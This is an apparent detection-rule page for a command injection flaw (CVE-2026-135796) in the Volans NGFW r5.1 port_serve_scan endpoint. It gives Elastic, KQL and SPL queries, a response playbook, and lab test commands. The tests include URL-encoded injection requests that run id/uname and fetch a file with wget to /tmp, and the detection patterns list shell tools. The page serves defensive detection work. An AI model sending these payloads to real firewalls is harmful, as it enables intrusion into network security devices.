Detect Volans NGFW r5.1 port_serve_s Command Injection (CVE-2026-135796) in Elastic Security
Detects exploitation of CVE-2026-135796, an OS command injection vulnerability (CWE-77/CWE-78) in the Volans NGFW Next-Generation Firewall r5.1. The flaw is in modules/assets/port_serve_scan.mds, where the port_result_export action concatenates attacker-controlled input into an exec() call without proper sanitization. Exploitation requires an authenticated management session; there is no public evidence of an unauthenticated path. Detection focuses on shell metacharacters and command-injection primitives in HTTP requests to the port_serve_scan / assets endpoint, and on anomalous child processes spawned by the firewall web service (httpd/boa/lighttpd) that indicate exec/system abuse.
MITRE ATT&CK
- Tactic
- Initial Access Execution
Elastic Detection Query
// df00tech DF00-18f8866e54 · https://df00tech.com/detections/CVE-2026-135796 · licence: https://df00tech.com/detections/licence
any where (url.path : "*port_serve_s*" or url.path : "*modules/assets*") and
(
url.query : ("*;*", "*|*", "*`*", "*$(*", "*%3B*", "*%7C*", "*%60*", "*IFS*") or
http.request.body.content : ("*;*", "*|*", "*`*", "*$(*", "*wget *", "*curl *", "*busybox*", "*/bin/sh*")
) Elastic EQL rule matching command-injection indicators in requests to the Volans NGFW port_serve_scan endpoint.
Data Sources
Required Tables
False Positives & Tuning
- Security scanners enumerating the firewall HTTP interface
- Authorized exploitation testing
- Legitimate admin input containing metacharacters
Other platforms for CVE-2026-135796
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Command injection probe via port_serve_scan (reconnaissance)
Expected signal: Firewall/web access log entry to modules/assets/port_serve_scan containing URL-encoded ';' and 'id' / 'uname' tokens.
- Test 2 Command injection stager via port_serve_scan (payload download)
Expected signal: Request log containing 'wget' and '/tmp/x'; on the appliance, a wget child process parented by the web daemon and a new /tmp/x file.
- Test 3 Exec/system child process from web daemon
Expected signal: Process-execution event showing busybox/sh invoked under a web-server parent, writing to /tmp/cmdinj.out.
Response Playbook
Triage
- Confirm the destination host is a Volans NGFW appliance running the affected r5.1 firmware and that the targeted path includes modules/assets/port_serve_scan.
- URL-decode the request and extract the injected payload; determine whether it was a reconnaissance probe (id, uname, cat /etc/passwd) or a stager (wget/curl/tftp/busybox pulling a second-stage binary).
- Check whether the request returned 200/command output versus an error, and correlate the source IP against threat intel and prior activity to assess whether exploitation succeeded.
- Review authentication state: exploitation requires a valid management session, so confirm whether the attacker had or obtained valid credentials before this request.
Containment
- Block the attacker source IP(s) at the perimeter and restrict management-plane access to the NGFW to trusted admin networks only.
- Isolate the affected appliance from untrusted networks and, if compromise is confirmed, fail over to a known-good standby and take the device offline for forensics.
- Apply vendor firmware update or mitigation once available; until then, place a WAF/ACL rule dropping requests to modules/assets/port_serve_scan containing shell metacharacters.
Evidence Collection
- Capture firewall/web-server access logs, the full raw HTTP request/response, and any process-execution or syslog records around the event time.
- Preserve a forensic image or configuration/filesystem export of the appliance, including /tmp, /var and any newly written files or cron entries.
- Collect network flow data for outbound connections from the appliance to identify second-stage download hosts or C2.
Escalation Criteria
- !Escalate to incident response if injected commands executed successfully (command output returned, or a child process/outbound download observed from the appliance).
- !Escalate to network/security leadership if the compromised NGFW sits inline on critical traffic paths, as firewall compromise implies potential traffic interception or lateral pivot.
- !Escalate to the vendor and CERT if a working exploit or second-stage payload is recovered, given this is an edge security device.
Investigation Guide
Forensic Artifacts
- >
Web server access logs containing requests to modules/assets/port_serve_scan with shell metacharacters - >
Unexpected child processes (sh, busybox, wget, curl) parented by the firewall web daemon - >
Newly created files in /tmp or /var, modified cron entries, or new listening sockets on the appliance
Tuning Guidance
Baseline legitimate traffic to the NGFW management interface and whitelist known scanner and admin source IPs. If the assets module legitimately accepts field values containing semicolons or ampersands, tighten the regex to require shell-command keywords (wget/curl/busybox//bin/sh) alongside metacharacters to reduce false positives. Pair the network signatures with the CrowdStrike process-lineage rule for high-confidence confirmation of successful exec/system execution.
Hunting Queries
Hunt for repeated command-injection probing of the port_serve_scan endpoint grouped by source IP over time.
// df00tech DF00-18f8866e54 · https://df00tech.com/detections/CVE-2026-135796 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has "port_serve_s" | extend d=url_decode(RequestURL) | where d has_any (";","|","`","$(","wget","curl","busybox") | summarize count() by SourceIP, bin(TimeGenerated, 1h) ``` df00tech DF00-18f8866e54 · https://df00tech.com/detections/CVE-2026-135796 · licence: https://df00tech.com/detections/licence ```
index=firewall url="*port_serve_s*" | eval d=urldecode(url) | where match(d,"(?i)[;|&`]|wget |curl |busybox") | stats count by src_ip Atomic Red Team Tests
Simulate an authenticated reconnaissance probe injecting a shell command through the vulnerable assets endpoint in a lab.
Command
curl -s 'http://ngfw-lab.local/modules/assets/port_serve_scan?port=1%3Bid%3Buname%20-a' Cleanup
echo 'No persistent change; clear lab web-server access logs if desired' Expected Telemetry
Firewall/web access log entry to modules/assets/port_serve_scan containing URL-encoded ';' and 'id' / 'uname' tokens.
Expected Detection
KQL/SPL/EQL/AQL/Sumo/Chronicle network rules fire on shell metacharacters in the port_serve_scan request.
Simulate injection of a wget-based second-stage download through the vulnerable endpoint in a lab.
Command
curl -s 'http://ngfw-lab.local/modules/assets/port_serve_scan?port=1%3Bwget%20http%3A%2F%2F127.0.0.1%2Fx%20-O%20%2Ftmp%2Fx' Cleanup
rm -f /tmp/x Expected Telemetry
Request log containing 'wget' and '/tmp/x'; on the appliance, a wget child process parented by the web daemon and a new /tmp/x file.
Expected Detection
Network rules match the 'wget' payload; CrowdStrike CQL matches the web-daemon-spawned wget process.
Emulate the post-exploitation artifact of the firewall web service spawning a shell via exec/system.
Command
sh -c 'nohup busybox sh -c "id; uname -a" >/tmp/cmdinj.out 2>&1 &' Cleanup
rm -f /tmp/cmdinj.out Expected Telemetry
Process-execution event showing busybox/sh invoked under a web-server parent, writing to /tmp/cmdinj.out.
Expected Detection
CrowdStrike CQL process-lineage rule matches shell/busybox child of httpd/boa/lighttpd.